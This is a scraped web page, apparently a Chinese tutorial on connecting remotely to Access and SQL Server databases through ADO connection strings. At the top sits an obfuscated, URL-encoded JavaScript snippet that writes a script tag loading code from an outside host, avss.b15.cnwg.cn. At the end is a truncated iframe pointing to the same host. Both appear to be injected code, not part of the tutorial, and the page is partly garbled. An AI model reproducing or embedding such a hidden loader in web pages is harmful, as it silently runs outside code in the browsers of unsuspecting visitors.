HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
access连接远程数据库
远程连接access数据库的几个方法:
1.建立VPN(Virtual Private Network),这样你的电脑和主机的连接就与局域网无异,然后把服务器中mdb文件所在的Folder共享即可。ADO连接如下:
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; _
Data Source=//ServerName/DatabaseFolder/Database.mdb; _
Jet OLEDB:Database Password=databasepw; _
Persist Security Info=False"
2.把Database放在Web Server上,使ADO或RDO通过RDS(Remote Data Service)及IIS来实现:
如果服务器像上面Jave大侠说那样设置了ODBC DSN的话:
oConn.Open "Provider=MS Remote;" & _
'www.knowsky.com
"Remote Server=http://myServerName;" & _
"Remote Provider=MSDASQL;" & _
"DSN=AdvWorks;" & _
"Uid=myUsername;" & _
"Pwd=myPassword"
如果设置的是OLE DB Provider 的话:
oConn.Open "Provider=MS Remote;" & _
"Remote Server=http://myServerName;" & _
"Remote Provider=Microsoft.Jet.OLEDB.4.0;" & _
"Data Source=c:/somepath/mydb.mdb", _
"admin", ""
3.自己编写服务器程序,通过TCP/IP,传递Recordset。
4.使用第三方控件,如:ADO Anywhere或UDAParts RDB等。具体查看
http://www.adoanywhere.com
http://www.udaparts.com/
5.使用XMLHTTP
--------------------------------
附 远程连接SQL Server的方法:
ConnStr = "Provider=SQLOLEDB.1;Network Library=DBMSSOCN; _
Persist Security Info=True;User ID=UserName;Password=Password; _
Initial Catalog=远程数据库名;Data Source=192.168.0.1"
连接到ACCESS
connstring="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("test.mdb") &";Persist Security Info=False" //ACCESS
connstring="Provider=MSDASQL.1;Persist Security Info=False;Data Source=dsn"
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">